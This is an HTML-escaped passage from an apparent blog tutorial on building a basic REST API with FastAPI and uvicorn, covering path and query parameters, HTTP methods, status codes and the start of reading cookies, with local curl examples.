&#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/en/python/pipenv-the-virtual-environment-manager-you-dont-know/&#34;&gt;Pipenv, a virtual environment management tool&lt;/a&gt;&#xA;. In addition to FastAPI we will need uvicorn; an ASGI server, which we will use to serve our API.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;pip install fastapi uvicorn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Next we are going to create a file called &lt;em&gt;main.py&lt;/em&gt;, here will be all the code that we will use to create our API.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;touch main.py&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;And now we are going to place the minimum code to have a server.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# main.py&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;read_root&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;World&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;First we will import the library, then we will create an instance of FastAPI. Then we will write a function that returns a dictionary and we will use a decorator with the path that we want our application to capture. That&amp;rsquo;s all.&lt;/p&gt;&#xA;&lt;p&gt;Uvicorn will take care of serving the API we have just created by means of the following command:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;uvicorn main:app --reload&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Let us briefly analyze what we have just executed:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em&gt;main&lt;/em&gt; refers to the name of our file&lt;/li&gt;&#xA;&lt;li&gt;_ &lt;em&gt;app&lt;/em&gt; is the FastAPI instance we create&lt;/li&gt;&#xA;&lt;li&gt;_ &lt;em&gt;&amp;ndash;reload&lt;/em&gt; tells uvicorn to listen for code changes&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;INFO:     Uvicorn running on http://127.0.0.1:8000 &lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;Press CTRL+C to quit&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;As you can see, if everything went well, we will have a server running &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;http://127.0.0.1:8000&#34; rel=&#34;noopener&#34; target=&#34;_blank&#34;&gt;localhost:8000&lt;/a&gt;&#xA;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;World&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And, if we make a request to port 8000, we will get our response in JSON format, without having to convert it from the Python dictionary.&lt;/p&gt;&#xA;&lt;h3 id=&#34;capturing-parameters&#34;&gt;Capturing parameters&lt;/h3&gt;&#xA;&lt;p&gt;Now let&amp;rsquo;s move from static routes to parameterized routes.&lt;/p&gt;&#xA;&lt;p&gt;To capture parameters we will add these lines to the &lt;em&gt;main.py&lt;/em&gt; file we already have. We import the &lt;em&gt;Optional&lt;/em&gt; typing with the intention of capturing our optional parameters. For this example I&amp;rsquo;m going to use the typing provided by the newer versions of Python, note how we set &lt;em&gt;item_id&lt;/em&gt;: &lt;em&gt;int&lt;/em&gt; to accept only integer type values.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;read_root&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Hello&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;World&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.get&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/items/&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;{item_id}&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;read_item&lt;/span&gt;(item_id: &lt;span style=&#34;color:#ff5c57&#34;&gt;int&lt;/span&gt;, q: Optional[&lt;span style=&#34;color:#ff5c57&#34;&gt;str&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#ff6ac1&#34;&gt;None&lt;/span&gt;):&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# otra_funcion_para_item_id(item_id)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#78787e&#34;&gt;# otra_function_para_q(q)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;item_id&amp;#34;&lt;/span&gt;: item_id, &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;q&amp;#34;&lt;/span&gt;: q}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Inside the decorator we place between square brackets the name of the variable we want to capture. This variable will be passed as a parameter to our function&lt;/p&gt;&#xA;&lt;p&gt;As a second, optional parameter, we will expect a GET parameter, named &amp;ldquo;q&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;In this case, the only thing our function will do is to return both values in JSON format. Although, you probably already realized that, instead of simply returning them, you can use that data to search a database, enter that information as parameters to another function and return something else entirely.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000/items/42&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;item_id&amp;#34;&lt;/span&gt;:42,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;q&amp;#34;&lt;/span&gt;:null&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Since we did not specify an optional GET parameter it returns a &lt;em&gt;null&lt;/em&gt; instead. See what happens if we try to send an invalid value, i.e. not an integer.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000/items/text -i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.1 &lt;span style=&#34;color:#ff9f43&#34;&gt;422&lt;/span&gt; Unprocessable Entity&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;date: Sun, &lt;span style=&#34;color:#ff9f43&#34;&gt;11&lt;/span&gt; Oct &lt;span style=&#34;color:#ff9f43&#34;&gt;2020&lt;/span&gt; 00:13:38 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server: uvicorn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-length: &lt;span style=&#34;color:#ff9f43&#34;&gt;104&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-type: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;detail&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ff6ac1&#34;&gt;[{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;loc&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ff6ac1&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;path&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;item_id&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;]&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;msg&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;value is not a valid integer&amp;#34;&lt;/span&gt;,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;type&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;type_error.integer&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}]}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;FastAPI takes care of letting us know that the value sent is invalid by means of an HTTP 422 response. Now let&amp;rsquo;s make a request that includes correct values for both parameters of our &lt;em&gt;read_item()&lt;/em&gt; function.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000/items/42?q&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;larespuesta&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;item_id&amp;#34;&lt;/span&gt;:42,&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;q&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;larespuesta&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notice how it returns the number we pass it, whatever it is, as well as our optional GET parameter called &amp;ldquo;q&amp;rdquo;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;rest&#34;&gt;REST&lt;/h3&gt;&#xA;&lt;p&gt;FastAPI handles HTTP methods in a fairly intuitive way, simply by changing the function of our decorator to its respective HTTP request method&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@app.get&lt;span style=&#34;color:#ff6ac1&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@app.post&lt;span style=&#34;color:#ff6ac1&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@app.put&lt;span style=&#34;color:#ff6ac1&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@app.delete&lt;span style=&#34;color:#ff6ac1&#34;&gt;()&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;In addition &lt;strong&gt;it is possible to specify an optional response code&lt;/strong&gt; as a parameter in each of these routes.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;@app.post&lt;span style=&#34;color:#ff6ac1&#34;&gt;(&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;status_code&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;201&lt;span style=&#34;color:#ff6ac1&#34;&gt;)&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To corroborate this, let&amp;rsquo;s create another function, this one instead of using the decorator &lt;em&gt;@app.get&lt;/em&gt;, will use &lt;em&gt;@app.post&lt;/em&gt; and will return a code 201.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; fastapi &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; FastAPI&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;from&lt;/span&gt; typing &lt;span style=&#34;color:#ff6ac1&#34;&gt;import&lt;/span&gt; Optional&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;app &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; FastAPI()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#78787e&#34;&gt;# {...rest of the code}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;@app.post&lt;/span&gt;(&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;/items/&amp;#34;&lt;/span&gt;, status_code&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;201&lt;/span&gt;)&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#57c7ff&#34;&gt;post_item&lt;/span&gt;():&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;return&lt;/span&gt; {&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;item&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;our_item&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This decorator will capture any POST request to the url &lt;em&gt;/items/&lt;/em&gt;. See what happens if we try to make a GET request, instead of a POST.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl localhost:8000/items/ -i&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.1 &lt;span style=&#34;color:#ff9f43&#34;&gt;405&lt;/span&gt; Method Not Allowed&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;date: Sun, &lt;span style=&#34;color:#ff9f43&#34;&gt;11&lt;/span&gt; Oct &lt;span style=&#34;color:#ff9f43&#34;&gt;2020&lt;/span&gt; 00:56:06 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server: uvicorn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-length: &lt;span style=&#34;color:#ff9f43&#34;&gt;31&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-type: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;detail&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Method Not Allowed&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;That&amp;rsquo;s right, any other unsupported method will receive a 405 (Method not allowed) response. Now let&amp;rsquo;s make the correct request, with POST.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -X POST localhost:8000/items/&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;HTTP/1.1 &lt;span style=&#34;color:#ff9f43&#34;&gt;201&lt;/span&gt; Created&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;date: Sun, &lt;span style=&#34;color:#ff9f43&#34;&gt;11&lt;/span&gt; Oct &lt;span style=&#34;color:#ff9f43&#34;&gt;2020&lt;/span&gt; 00:57:05 GMT&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;server: uvicorn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-length: &lt;span style=&#34;color:#ff9f43&#34;&gt;19&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;content-type: application/json&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;item&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;our_item&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notice that we receive a 201 code as a response, as well as our response in JSON format.&lt;/p&gt;&#xA;&lt;h3 id=&#34;cookies&#34;&gt;Cookies&lt;/h3&gt;&#xA;&lt;h4 id=&#34;reading-cookies&#34;&gt;Reading cookies&lt;/h4&gt;&#xA;&lt;p&gt;If we want to read cookies using FastAPI we will have to import Cookie and then define a parameter, which will be an instance of that Cookie. If all goes well we will be able to send a Cookie and FastAPI will return its value.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span 